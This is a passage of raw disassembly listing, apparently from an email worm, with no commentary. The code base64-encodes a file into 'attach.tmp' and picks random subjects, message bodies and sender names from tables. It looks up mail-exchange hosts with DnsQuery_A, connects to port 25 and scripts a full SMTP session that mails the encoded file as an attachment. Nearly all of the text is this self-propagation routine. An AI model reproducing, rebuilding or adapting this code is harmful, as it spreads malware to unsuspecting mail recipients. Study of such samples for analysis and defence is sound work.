--------------------------------------------------------------------------- loc_4A5E7B: ; CODE XREF: sub_4A5B18+329j ; sub_4A5B18+342j ... mov cx, word ptr [ebp+var_144] push ecx call dword_4A113C mov word ptr [ebp+var_144], ax mov edx, [ebp+var_144] and edx, 0FFFFh push edx call dword_4A10D0 add esp, 4 mov [ebp+var_120], eax cmp [ebp+var_120], 0 jnz short loc_4A5EBA jmp loc_4A61F3 ; --------------------------------------------------------------------------- loc_4A5EBA: ; CODE XREF: sub_4A5B18+39Bj push 0 mov eax, [ebp+var_144] and eax, 0FFFFh push eax mov ecx, [ebp+var_120] push ecx mov edx, [ebp+var_8] push edx call dword_4A1158 mov ecx, [ebp+var_144] and ecx, 0FFFFh cmp eax, ecx jz short loc_4A5F37 mov edx, [ebp+arg_8] push edx mov eax, [ebp+var_10] push eax call sub_4A5ABC add esp, 8 and eax, 0FFh test eax, eax jz short loc_4A5F37 push 0 mov ecx, [ebp+var_144] and ecx, 0FFFFh push ecx mov edx, [ebp+var_120] push edx mov eax, [ebp+var_8] push eax call dword_4A1158 mov ecx, [ebp+var_144] and ecx, 0FFFFh cmp eax, ecx jz short loc_4A5F37 jmp loc_4A61F1 ; --------------------------------------------------------------------------- loc_4A5F37: ; CODE XREF: sub_4A5B18+3CFj ; sub_4A5B18+3E8j ... mov edx, [ebp+var_10] push edx call dword_4A1034 mov eax, [ebp+var_8] push eax call dword_4A1190 mov [ebp+var_8], 0FFFFFFFFh mov [ebp+var_124], 0 jmp short loc_4A5F6D ; --------------------------------------------------------------------------- loc_4A5F5E: ; CODE XREF: sub_4A5B18+4A4j mov ecx, [ebp+var_124] add ecx, 2 mov [ebp+var_124], ecx loc_4A5F6D: ; CODE XREF: sub_4A5B18+444j cmp [ebp+var_124], 0Ch jnb short loc_4A5FBE mov edx, [ebp+var_120] add edx, [ebp+var_124] mov al, [edx] mov [ebp+var_15C], al mov ecx, [ebp+var_120] add ecx, [ebp+var_124] mov edx, [ebp+var_120] add edx, [ebp+var_124] mov al, [edx+1] mov [ecx], al mov ecx, [ebp+var_120] add ecx, [ebp+var_124] mov dl, [ebp+var_15C] mov [ecx+1], dl jmp short loc_4A5F5E ; --------------------------------------------------------------------------- loc_4A5FBE: ; CODE XREF: sub_4A5B18+45Cj push 0Ch mov eax, [ebp+var_120] push eax lea ecx, [ebp+var_154] push ecx call sub_4A891C add esp, 0Ch mov esi, [ebp+var_154] and esi, 0FFFFh push 0 call sub_4A53E0 add esp, 4 and eax, 0FFFFh cmp esi, eax jnz loc_4A61B8 mov edx, [ebp+var_14E] and edx, 0FFFFh test edx, edx jz short loc_4A604A mov eax, [ebp+var_14E] and eax, 0FFFFh push eax mov ecx, [ebp+var_120] push ecx call sub_4A5915 add esp, 8 mov [ebp+var_138], eax cmp [ebp+var_138], 0 jz short loc_4A6045 mov edx, [ebp+var_14E] and edx, 0FFFFh mov [ebp+var_13C], edx loc_4A6045: ; CODE XREF: sub_4A5B18+519j jmp loc_4A61EF ; --------------------------------------------------------------------------- loc_4A604A: ; CODE XREF: sub_4A5B18+4EFj mov eax, [ebp+var_14E+2] and eax, 0FFFFh test eax, eax jz loc_4A61B8 mov ecx, [ebp+var_14E+2] and ecx, 0FFFFh push ecx mov edx, [ebp+var_120] push edx call sub_4A5915 add esp, 8 mov [ebp+var_160], eax cmp [ebp+var_160], 0 jz loc_4A61B8 mov eax, [ebp+var_120] push eax call dword_4A10D4 add esp, 4 mov [ebp+var_120], 0 mov [ebp+var_124], 0 jmp short loc_4A60C1 ; --------------------------------------------------------------------------- loc_4A60B2: ; CODE XREF: sub_4A5B18:loc_4A6198j mov ecx, [ebp+var_124] add ecx, 1 mov [ebp+var_124], ecx loc_4A60C1: ; CODE XREF: sub_4A5B18+598j mov edx, [ebp+var_14E+2] and edx, 0FFFFh cmp [ebp+var_124], edx jge loc_4A619D cmp [ebp+var_138], 0 jnz loc_4A619D mov eax, [ebp+var_124] imul eax, 210h mov ecx, [ebp+var_160] xor edx, edx mov dx, [ecx+eax+100h] cmp edx, 2 jnz loc_4A6198 mov eax, [ebp+var_124] imul eax, 210h mov ecx, [ebp+var_160] xor edx, edx mov dx, [ecx+eax+102h] cmp edx, 1 jnz short loc_4A6198 mov eax, [ebp+var_124] imul eax, 210h mov ecx, [ebp+var_160] lea edx, [ecx+eax+10Eh] push edx call sub_4A59D5 add esp, 4 mov [ebp+var_164], eax cmp [ebp+var_164], 0 jz short loc_4A6198 mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_164] push ecx mov edx, [ebp+arg_0] push edx call sub_4A5B18 add esp, 0Ch mov [ebp+var_16C], eax mov [ebp+var_168], edx mov eax, [ebp+var_16C] mov [ebp+var_13C], eax mov ecx, [ebp+var_168] mov [ebp+var_138], ecx loc_4A6198: ; CODE XREF: sub_4A5B18+5EDj ; sub_4A5B18+612j ... jmp loc_4A60B2 ; --------------------------------------------------------------------------- loc_4A619D: ; CODE XREF: sub_4A5B18+5BBj ; sub_4A5B18+5C8j mov edx, [ebp+var_160] mov [ebp+var_170], edx mov eax, [ebp+var_170] push eax call sub_4A8922 add esp, 4 loc_4A61B8: ; CODE XREF: sub_4A5B18+4DBj ; sub_4A5B18+53Fj ... cmp [ebp+var_8], 0FFFFFFFFh jz short loc_4A61C8 mov ecx, [ebp+var_8] push ecx call dword_4A1190 loc_4A61C8: ; CODE XREF: sub_4A5B18+6A4j cmp [ebp+var_120], 0 jz short loc_4A61E1 mov edx, [ebp+var_120] push edx call dword_4A10D4 add esp, 4 loc_4A61E1: ; CODE XREF: sub_4A5B18+6B7j mov eax, [ebp+var_13C] mov edx, [ebp+var_138] jmp short loc_4A620D ; --------------------------------------------------------------------------- loc_4A61EF: ; CODE XREF: sub_4A5B18:loc_4A6045j jmp short loc_4A61B8 ; --------------------------------------------------------------------------- loc_4A61F1: ; CODE XREF: sub_4A5B18+41Aj jmp short loc_4A61B8 ; --------------------------------------------------------------------------- loc_4A61F3: ; CODE XREF: sub_4A5B18+39Dj jmp short loc_4A61B8 ; --------------------------------------------------------------------------- loc_4A61F5: ; CODE XREF: sub_4A5B18+35Ej jmp short loc_4A61B8 ; --------------------------------------------------------------------------- loc_4A61F7: ; CODE XREF: sub_4A5B18+30Cj jmp short loc_4A61B8 ; --------------------------------------------------------------------------- loc_4A61F9: ; CODE XREF: sub_4A5B18+2F2j jmp short loc_4A61B8 ; --------------------------------------------------------------------------- loc_4A61FB: ; CODE XREF: sub_4A5B18+2C0j jmp short loc_4A61B8 ; --------------------------------------------------------------------------- loc_4A61FD: ; CODE XREF: sub_4A5B18+2A4j jmp short loc_4A61B8 ; --------------------------------------------------------------------------- loc_4A61FF: ; CODE XREF: sub_4A5B18:loc_4A5DA9j jmp short loc_4A61B8 ; --------------------------------------------------------------------------- loc_4A6201: ; CODE XREF: sub_4A5B18+25Fj jmp short loc_4A61B8 ; --------------------------------------------------------------------------- loc_4A6203: ; CODE XREF: sub_4A5B18+248j jmp short loc_4A61B8 ; --------------------------------------------------------------------------- loc_4A6205: ; CODE XREF: sub_4A5B18+214j jmp short loc_4A61B8 ; --------------------------------------------------------------------------- loc_4A6207: ; CODE XREF: sub_4A5B18+1FAj jmp short loc_4A61B8 ; --------------------------------------------------------------------------- loc_4A6209: ; CODE XREF: sub_4A5B18+1DEj jmp short loc_4A61B8 ; --------------------------------------------------------------------------- loc_4A620B: ; CODE XREF: sub_4A5B18+191j jmp short loc_4A61B8 ; --------------------------------------------------------------------------- loc_4A620D: ; CODE XREF: sub_4A5B18+87j ; sub_4A5B18+A6j ... pop edi pop esi mov esp, ebp pop ebp retn sub_4A5B18 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A6213 proc near ; CODE XREF: sub_4A6B78+12Fp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] cmp dword ptr [eax+4], 0 jz short loc_4A6235 mov ecx, [ebp+arg_0] mov edx, [ecx+4] mov [ebp+var_4], edx mov eax, [ebp+var_4] push eax call sub_4A8922 add esp, 4 loc_4A6235: ; CODE XREF: sub_4A6213+Bj push 8 push 0 mov ecx, [ebp+arg_0] push ecx call sub_4A890A add esp, 0Ch mov esp, ebp pop ebp retn sub_4A6213 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A6249 proc near ; CODE XREF: sub_4A65D5+146p ; sub_4A65D5+383p var_B0 = dword ptr -0B0h var_AC = dword ptr -0ACh var_A8 = dword ptr -0A8h var_A4 = dword ptr -0A4h var_A0 = byte ptr -0A0h var_9C = dword ptr -9Ch var_98 = dword ptr -98h var_94 = byte ptr -94h var_93 = byte ptr -93h var_92 = byte ptr -92h var_58 = byte ptr -58h var_54 = byte ptr -54h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0B0h mov [ebp+var_4], 0 mov [ebp+var_9C], 0 mov [ebp+var_8], 0 mov [ebp+var_A4], 0 push 0 push 0 push 3 push 0 push 1 push 80000000h mov eax, [ebp+arg_0] push eax call dword_4A102C mov dword_4A8FD0, eax cmp dword_4A8FD0, 0FFFFFFFFh jnz short loc_4A62A2 xor eax, eax jmp loc_4A6524 ; --------------------------------------------------------------------------- loc_4A62A2: ; CODE XREF: sub_4A6249+50j ; sub_4A6249+27Bj push 39h push 0 lea ecx, [ebp+var_94] push ecx call sub_4A890A add esp, 0Ch push 0 push offset dword_4A96A0 push 39h lea edx, [ebp+var_94] push edx mov eax, dword_4A8FD0 push eax call dword_4A1014 cmp dword_4A96A0, 0 jnz short loc_4A62F2 mov ecx, dword_4A8FD0 push ecx call dword_4A1034 mov eax, [ebp+var_9C] jmp loc_4A6524 ; --------------------------------------------------------------------------- loc_4A62F2: ; CODE XREF: sub_4A6249+8Fj mov [ebp+var_98], 0 mov edx, [ebp+var_8] add edx, dword_4A96A0 mov [ebp+var_8], edx mov [ebp+var_A8], 0 jmp short loc_4A6323 ; --------------------------------------------------------------------------- loc_4A6314: ; CODE XREF: sub_4A6249+1BCj mov eax, [ebp+var_A8] add eax, 3 mov [ebp+var_A8], eax loc_4A6323: ; CODE XREF: sub_4A6249+C9j mov ecx, [ebp+var_A8] cmp ecx, dword_4A96A0 jnb loc_4A640A mov edx, [ebp+var_A8] xor eax, eax mov al, [ebp+edx+var_92] mov ecx, [ebp+var_A8] xor edx, edx mov dl, [ebp+ecx+var_93] shl edx, 8 add eax, edx mov ecx, [ebp+var_A8] xor edx, edx mov dl, [ebp+ecx+var_94] shl edx, 10h add eax, edx mov [ebp+var_4], eax mov byte ptr [ebp+var_AC], 0 jmp short loc_4A6386 ; --------------------------------------------------------------------------- loc_4A6378: ; CODE XREF: sub_4A6249+19Ej mov al, byte ptr [ebp+var_AC] add al, 1 mov byte ptr [ebp+var_AC], al loc_4A6386: ; CODE XREF: sub_4A6249+12Dj mov ecx, [ebp+var_AC] and ecx, 0FFh cmp ecx, 3 jge short loc_4A63E9 mov dl, byte ptr [ebp+var_4] mov [ebp+var_A0], dl mov al, [ebp+var_A0] shl al, 2 mov [ebp+var_A0], al mov cl, [ebp+var_A0] shr cl, 2 mov [ebp+var_A0], cl mov edx, [ebp+var_98] add edx, 3 mov eax, [ebp+var_AC] and eax, 0FFh sub edx, eax mov cl, [ebp+var_A0] mov [ebp+edx+var_54], cl mov edx, [ebp+var_4] shr edx, 6 mov [ebp+var_4], edx jmp short loc_4A6378 ; --------------------------------------------------------------------------- loc_4A63E9: ; CODE XREF: sub_4A6249+14Cj mov eax, [ebp+var_98] mov cl, byte ptr [ebp+var_4] mov [ebp+eax+var_54], cl mov edx, [ebp+var_98] add edx, 4 mov [ebp+var_98], edx jmp loc_4A6314 ; --------------------------------------------------------------------------- loc_4A640A: ; CODE XREF: sub_4A6249+E6j mov eax, [ebp+var_98] mov ecx, [ebp+var_9C] lea edx, [ecx+eax+1] mov [ebp+var_9C], edx mov eax, [ebp+var_9C] cmp eax, [ebp+arg_8] ja loc_4A64B9 mov byte ptr [ebp+var_B0], 0 jmp short loc_4A6447 ; --------------------------------------------------------------------------- loc_4A6438: ; CODE XREF: sub_4A6249+243j mov cl, byte ptr [ebp+var_B0] add cl, 1 mov byte ptr [ebp+var_B0], cl loc_4A6447: ; CODE XREF: sub_4A6249+1EDj mov edx, [ebp+var_B0] and edx, 0FFh cmp edx, [ebp+var_98] jnb short loc_4A648E mov eax, [ebp+var_B0] and eax, 0FFh xor ecx, ecx mov cl, [ebp+eax+var_54] mov edx, [ebp+var_B0] and edx, 0FFh mov eax, [ebp+var_A4] add eax, edx mov edx, [ebp+arg_4] mov cl, byte ptr aAbcdefghijklmn[ecx] ; "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklm"... mov [edx+eax], cl jmp short loc_4A6438 ; --------------------------------------------------------------------------- loc_4A648E: ; CODE XREF: sub_4A6249+210j mov edx, [ebp+var_A4] add edx, [ebp+var_98] mov eax, [ebp+arg_4] mov byte ptr [eax+edx], 0Ah mov ecx, [ebp+var_98] mov edx, [ebp+var_A4] lea eax, [edx+ecx+1] mov [ebp+var_A4], eax jmp short loc_4A64BD ; --------------------------------------------------------------------------- loc_4A64B9: ; CODE XREF: sub_4A6249+1E0j xor eax, eax jmp short loc_4A6524 ; --------------------------------------------------------------------------- loc_4A64BD: ; CODE XREF: sub_4A6249+26Ej cmp dword_4A96A0, 39h jz loc_4A62A2 mov eax, [ebp+var_8] xor edx, edx mov ecx, 3 div ecx mov eax, 3 sub eax, edx xor edx, edx mov ecx, 3 div ecx mov [ebp+var_58], dl loc_4A64E9: ; CODE XREF: sub_4A6249+2C6j movsx edx, [ebp+var_58] test edx, edx jle short loc_4A6511 mov eax, [ebp+var_A4] sub eax, 1 movsx ecx, [ebp+var_58] sub eax, ecx mov edx, [ebp+arg_4] mov byte ptr [edx+eax], 3Dh mov al, [ebp+var_58] sub al, 1 mov [ebp+var_58], al jmp short loc_4A64E9 ; --------------------------------------------------------------------------- loc_4A6511: ; CODE XREF: sub_4A6249+2A6j mov ecx, dword_4A8FD0 push ecx call dword_4A1034 mov eax, [ebp+var_9C] loc_4A6524: ; CODE XREF: sub_4A6249+54j ; sub_4A6249+A4j ... mov esp, ebp pop ebp retn sub_4A6249 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A6528 proc near ; CODE XREF: sub_4A6542+25p ; sub_4A657F+1Cp arg_0 = dword ptr 8 push ebp mov ebp, esp cmp [ebp+arg_0], 0FFFFFFFFh jz short loc_4A653E cmp [ebp+arg_0], 0 jz short loc_4A653E mov eax, 1 jmp short loc_4A6540 ; --------------------------------------------------------------------------- loc_4A653E: ; CODE XREF: sub_4A6528+7j ; sub_4A6528+Dj xor eax, eax loc_4A6540: ; CODE XREF: sub_4A6528+14j pop ebp retn sub_4A6528 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A6542 proc near ; CODE XREF: sub_4A65D5+167p ; sub_4A65D5+192p ... push ebp mov ebp, esp push 0 push offset byte_4A90EC call sub_4A8910 add esp, 4 push eax push offset byte_4A90EC mov eax, dword_4A96A4 push eax call dword_4A115C push eax call sub_4A6528 add esp, 4 test eax, eax jnz short loc_4A657D mov dword_4A96AC, 1 loc_4A657D: ; CODE XREF: sub_4A6542+2Fj pop ebp retn sub_4A6542 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A657F proc near ; CODE XREF: sub_4A65D5+16Cp ; sub_4A65D5+197p ... push ebp mov ebp, esp push 0 push 0FFh push offset byte_4A90EC mov eax, dword_4A96A4 push eax call dword_4A1158 push eax call sub_4A6528 add esp, 4 test eax, eax jnz short loc_4A65B1 mov dword_4A96AC, 2 loc_4A65B1: ; CODE XREF: sub_4A657F+26j movsx ecx, byte_4A90EC cmp ecx, 34h jz short loc_4A65C9 movsx edx, byte_4A90EC cmp edx, 35h jnz short loc_4A65D3 loc_4A65C9: ; CODE XREF: sub_4A657F+3Cj mov dword_4A96AC, 2 loc_4A65D3: ; CODE XREF: sub_4A657F+48j pop ebp retn sub_4A657F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A65D5 proc near ; CODE XREF: sub_4A6A0A+102p ; sub_4A6B78+123p var_F54F0 = dword ptr -0F54F0h var_F54EC = byte ptr -0F54ECh var_F5168 = dword ptr -0F5168h var_F5164 = byte ptr -0F5164h var_F4DE0 = byte ptr -0F4DE0h var_F4A5C = dword ptr -0F4A5Ch var_F4A58 = dword ptr -0F4A58h var_F4A54 = byte ptr -0F4A54h var_F46D0 = byte ptr -0F46D0h var_490 = byte ptr -490h var_38C = dword ptr -38Ch var_388 = dword ptr -388h var_384 = byte ptr -384h arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 0F54F0h call sub_4A8930 push 104h lea eax, [ebp+var_490] push eax call dword_4A1078 push offset aAttach_tmp ; "\\attach.tmp" lea ecx, [ebp+var_490] push ecx call sub_4A8904 add esp, 8 call dword_4A1064 push eax call dword_4A10CC add esp, 4 call dword_4A1114 xor edx, edx mov ecx, 0Bh div ecx mov [ebp+var_F5168], edx mov edx, [ebp+var_F5168] mov eax, off_4A120C[edx*4] push eax lea ecx, [ebp+var_384] push ecx call dword_4A105C call dword_4A1114 xor edx, edx mov ecx, 0Ch div ecx mov [ebp+var_F4A58], edx mov edx, [ebp+var_F4A58] mov eax, off_4A1238[edx*4] push eax lea ecx, [ebp+var_F4A54] push ecx call dword_4A105C call dword_4A1114 xor edx, edx mov ecx, 1Bh div ecx mov [ebp+var_F54F0], edx mov edx, [ebp+var_F54F0] mov eax, off_4A1268[edx*4] push eax lea ecx, [ebp+var_F54EC] push ecx call dword_4A105C call dword_4A1114 xor edx, edx mov ecx, 21h div ecx mov [ebp+var_38C], edx mov edx, [ebp+var_38C] mov eax, off_4A12D4[edx*4] push eax lea ecx, [ebp+var_F5164] push ecx call dword_4A105C call dword_4A1114 xor edx, edx mov ecx, 11h div ecx mov [ebp+var_F4A5C], edx mov edx, [ebp+var_F4A5C] mov eax, off_4A1358[edx*4] push eax lea ecx, [ebp+var_F4DE0] push ecx call dword_4A105C push 0F423Fh lea edx, [ebp+var_F46D0] push edx lea eax, [ebp+var_490] push eax call sub_4A6249 add esp, 0Ch mov [ebp+var_388], eax push offset aHeloLocalhost ; "HELO localhost\r\n" push offset byte_4A90EC call dword_4A10AC add esp, 8 call sub_4A6542 call sub_4A657F lea ecx, [ebp+var_F4DE0] push ecx lea edx, [ebp+var_F5164] push edx push offset aMailFromSS ; "MAIL FROM: <%s%s>\r\n" push offset byte_4A90EC call dword_4A10AC add esp, 10h call sub_4A6542 call sub_4A657F mov eax, [ebp+arg_0] push eax push offset aRcptToS ; "RCPT TO: <%s>\r\n" push offset byte_4A90EC call dword_4A10AC add esp, 0Ch call sub_4A6542 call sub_4A657F push offset aData ; "DATA\r\n" push offset byte_4A90EC call dword_4A10AC add esp, 8 call sub_4A6542 call sub_4A657F lea ecx, [ebp+var_F4DE0] push ecx lea edx, [ebp+var_F5164] push edx push offset aFromSS ; "FROM: %s%s\r\n" push offset byte_4A90EC call dword_4A10AC add esp, 10h call sub_4A6542 mov eax, [ebp+arg_0] push eax push offset aToS ; "TO: %s\r\n" push offset byte_4A90EC call dword_4A10AC add esp, 0Ch call sub_4A6542 lea ecx, [ebp+var_384] push ecx push offset aSubjectS ; "SUBJECT:%s\r\n" push offset byte_4A90EC call dword_4A10AC add esp, 0Ch call sub_4A6542 push offset aMimeVersion1_0 ; "MIME-Version: 1.0\r\n" push offset byte_4A90EC call dword_4A10AC add esp, 8 call sub_4A6542 push offset aXPriotity3 ; "X-Priotity: 3\r\n" push offset byte_4A90EC call dword_4A10AC add esp, 8 call sub_4A6542 push offset aXMsmailPriorit ; "X-MSMail-Priority: Normal\r\n" push offset byte_4A90EC call dword_4A10AC add esp, 8 call sub_4A6542 push offset aContentTypeMul ; "Content-Type: multipart/mixed; boundary"... push offset byte_4A90EC call dword_4A10AC add esp, 8 call sub_4A6542 push offset asc_4A2AA8 ; "\r\n" push offset byte_4A90EC call dword_4A10AC add esp, 8 call sub_4A6542 push offset aBound ; "----------bound--\r\n" push offset byte_4A90EC call dword_4A10AC add esp, 8 call sub_4A6542 push offset aContentTypeTex ; "Content-Type: text/plain; charset=us-as"... push offset byte_4A90EC call dword_4A10AC add esp, 8 call sub_4A6542 push offset asc_4A2AA8 ; "\r\n" push offset byte_4A90EC call dword_4A10AC add esp, 8 call sub_4A6542 lea edx, [ebp+var_F4A54] push edx push offset aS_0 ; "%s" push offset byte_4A90EC call dword_4A10AC add esp, 0Ch call sub_4A6542 push offset aBound ; "----------bound--\r\n" push offset byte_4A90EC call dword_4A10AC add esp, 8 call sub_4A6542 lea eax, [ebp+var_F54EC] push eax lea ecx, [ebp+var_490] push ecx push offset aContentTypeApp ; "Content-Type: application/octet-stream;"... push offset byte_4A90EC call dword_4A10AC add esp, 10h call sub_4A6542 push offset asc_4A2AA8 ; "\r\n" push offset byte_4A90EC call dword_4A10AC add esp, 8 call sub_4A6542 push 0F423Fh lea edx, [ebp+var_F46D0] push edx lea eax, [ebp+var_490] push eax call sub_4A6249 add esp, 0Ch mov [ebp+var_388], eax cmp [ebp+var_388], 0 jz short loc_4A698D push 0 mov ecx, [ebp+var_388] push ecx lea edx, [ebp+var_F46D0] push edx mov eax, dword_4A96A4 push eax call dword_4A115C jmp short loc_4A69A3 ; --------------------------------------------------------------------------- loc_4A698D: ; CODE XREF: sub_4A65D5+398j push 0 push 6 push offset aFailed ; "FAILED" mov ecx, dword_4A96A4 push ecx call dword_4A115C loc_4A69A3: ; CODE XREF: sub_4A65D5+3B6j push offset asc_4A2AA8 ; "\r\n" push offset byte_4A90EC call dword_4A10AC add esp, 8 call sub_4A6542 push offset a__1 ; "\r\n.\r\n" push offset byte_4A90EC call sub_4A8916 add esp, 8 call sub_4A6542 push offset aQuit_0 ; "QUIT\r\n" push offset byte_4A90EC call dword_4A10AC add esp, 8 call sub_4A6542 call sub_4A6542 call sub_4A657F mov edx, dword_4A96A4 push edx call dword_4A1190 mov eax, 1 mov esp, ebp pop ebp retn sub_4A65D5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A6A0A proc near ; CODE XREF: sub_4A6CB5+C8p var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = word ptr -18h var_16 = byte ptr -16h var_14 = dword ptr -14h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 30h mov eax, dword_4A2BA0 mov [ebp+var_20], eax mov ecx, dword_4A2BA4 mov [ebp+var_1C], ecx mov dx, word_4A2BA8 mov [ebp+var_18], dx mov al, byte_4A2BAA mov [ebp+var_16], al lea ecx, [ebp+var_20] push ecx call dword_4A1080 mov [ebp+var_28], eax cmp [ebp+var_28], 0 jnz short loc_4A6A61 lea edx, [ebp+var_20] push edx call dword_4A1024 mov [ebp+var_28], eax cmp [ebp+var_28], 0 jnz short loc_4A6A61 xor eax, eax jmp loc_4A6B16 ; --------------------------------------------------------------------------- loc_4A6A61: ; CODE XREF: sub_4A6A0A+3Bj ; sub_4A6A0A+4Ej push offset aDnsquery_a ; "DnsQuery_A" mov eax, [ebp+var_28] push eax call dword_4A1028 mov [ebp+var_30], eax cmp [ebp+var_30], 0 jnz short loc_4A6A80 xor eax, eax jmp loc_4A6B16 ; --------------------------------------------------------------------------- loc_4A6A80: ; CODE XREF: sub_4A6A0A+6Dj push 0 lea ecx, [ebp+var_14] push ecx push 0 push 0 push 0Fh mov edx, [ebp+arg_0] push edx call [ebp+var_30] mov [ebp+var_2C], eax cmp [ebp+var_2C], 0 jz short loc_4A6AA0 xor eax, eax jmp short loc_4A6B16 ; --------------------------------------------------------------------------- loc_4A6AA0: ; CODE XREF: sub_4A6A0A+90j mov eax, [ebp+var_14] mov [ebp+var_24], eax push 0 push 1 push 2 call dword_4A1144 mov dword_4A96A4, eax cmp dword_4A96A4, 0FFFFFFFFh jnz short loc_4A6AC4 xor eax, eax jmp short loc_4A6B16 ; --------------------------------------------------------------------------- loc_4A6AC4: ; CODE XREF: sub_4A6A0A+B4j mov ecx, [ebp+var_24] mov edx, [ecx+18h] push edx call sub_4A6B1A add esp, 4 mov [ebp+var_C], eax mov [ebp+var_10], 2 push 19h call dword_4A113C mov [ebp+var_E], ax push 10h lea eax, [ebp+var_10] push eax mov ecx, dword_4A96A4 push ecx call dword_4A1168 test eax, eax jz short loc_4A6B03 xor eax, eax jmp short loc_4A6B16 ; --------------------------------------------------------------------------- loc_4A6B03: ; CODE XREF: sub_4A6A0A+F3j call sub_4A657F mov edx, [ebp+arg_4] push edx call sub_4A65D5 add esp, 4 xor eax, eax loc_4A6B16: ; CODE XREF: sub_4A6A0A+52j ; sub_4A6A0A+71j ... mov esp, ebp pop ebp retn sub_4A6A0A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A6B1A proc near ; CODE XREF: sub_4A6A0A+C1p ; sub_4A6B78+6Fp ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8 mov eax, [ebp+arg_0] push eax call dword_4A1150 mov [ebp+var_4], eax cmp [ebp+var_4], 0FFFFFFFFh jz short loc_4A6B44 cmp [ebp+var_4], 0 jnz short loc_4A6B64 mov ecx, [ebp+arg_0] movsx edx, byte ptr [ecx] cmp edx, 30h jz short loc_4A6B64 loc_4A6B44: ; CODE XREF: sub_4A6B1A+17j mov eax, [ebp+arg_0] push eax call dword_4A114C mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_4A6B64 mov ecx, [ebp+var_8] mov edx, [ecx+0Ch] mov eax, [edx] mov ecx, [eax] mov [ebp+var_4], ecx loc_4A6B64: ; CODE XREF: sub_4A6B1A+1Dj ; sub_4A6B1A+28j ... cmp [ebp+var_4], 0FFFFFFFFh jnz short loc_4A6B71 mov [ebp+var_4], 0 loc_4A6B71: ; CODE XREF: sub_4A6B1A+4Ej mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_4A6B1A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A6B78 proc near ; CODE XREF: sub_4A6CB5+DDp var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 34h mov [ebp+var_2C], 0 push 248h push 40h call dword_4A101C mov [ebp+var_24], eax mov [ebp+var_1C], 248h lea eax, [ebp+var_1C] push eax mov ecx, [ebp+var_24] push ecx call sub_4A896C cmp eax, 6Fh jnz short loc_4A6BC7 mov edx, [ebp+var_24] push edx call dword_4A1020 mov eax, [ebp+var_1C] push eax push 40h call dword_4A101C mov [ebp+var_24], eax loc_4A6BC7: ; CODE XREF: sub_4A6B78+34j lea ecx, [ebp+var_1C] push ecx mov edx, [ebp+var_24] push edx call sub_4A896C mov [ebp+var_20], eax mov [ebp+var_2C], 0BB8h mov eax, [ebp+var_24] add eax, 110h push eax call sub_4A6B1A add esp, 4 mov [ebp+var_28], eax push offset asc_4A2AA8 ; "\r\n" call dword_4A10C8 add esp, 4 mov ecx, [ebp+var_2C] push ecx mov edx, [ebp+var_28] push edx mov eax, [ebp+arg_0] push eax call sub_4A5B18 add esp, 0Ch mov [ebp+var_34], eax mov [ebp+var_30], edx mov ecx, [ebp+var_34] mov [ebp+var_18], ecx mov edx, [ebp+var_30] mov [ebp+var_14], edx cmp [ebp+var_18], 0 jnz short loc_4A6C33 mov eax, 1 jmp short loc_4A6CB1 ; --------------------------------------------------------------------------- loc_4A6C33: ; CODE XREF: sub_4A6B78+B2j push 0 push 1 push 2 call dword_4A1144 mov dword_4A96A4, eax cmp dword_4A96A4, 0FFFFFFFFh jnz short loc_4A6C51 xor eax, eax jmp short loc_4A6CB1 ; --------------------------------------------------------------------------- loc_4A6C51: ; CODE XREF: sub_4A6B78+D3j mov eax, [ebp+var_14] add eax, 10Eh push eax call sub_4A6B1A add esp, 4 mov [ebp+var_C], eax mov [ebp+var_10], 2 push 19h call dword_4A113C mov [ebp+var_E], ax push 10h lea ecx, [ebp+var_10] push ecx mov edx, dword_4A96A4 push edx call dword_4A1168 test eax, eax jz short loc_4A6C92 xor eax, eax jmp short loc_4A6CB1 ; --------------------------------------------------------------------------- loc_4A6C92: ; CODE XREF: sub_4A6B78+114j call sub_4A657F mov eax, [ebp+arg_4] push eax call sub_4A65D5 add esp, 4 lea ecx, [ebp+var_18] push ecx call sub_4A6213 add esp, 4 xor eax, eax loc_4A6CB1: ; CODE XREF: sub_4A6B78+B9j ; sub_4A6B78+D7j ... mov esp, ebp pop ebp retn sub_4A6B78 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A6CB5 proc near ; CODE XREF: sub_4A6DA0+25p var_27C = byte ptr -27Ch var_22C = dword ptr -22Ch var_228 = dword ptr -228h var_218 = dword ptr -218h var_194 = byte ptr -194h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 27Ch lea eax, [ebp+var_194] push eax push 2 call dword_4A1148 mov ecx, [ebp+arg_0] mov 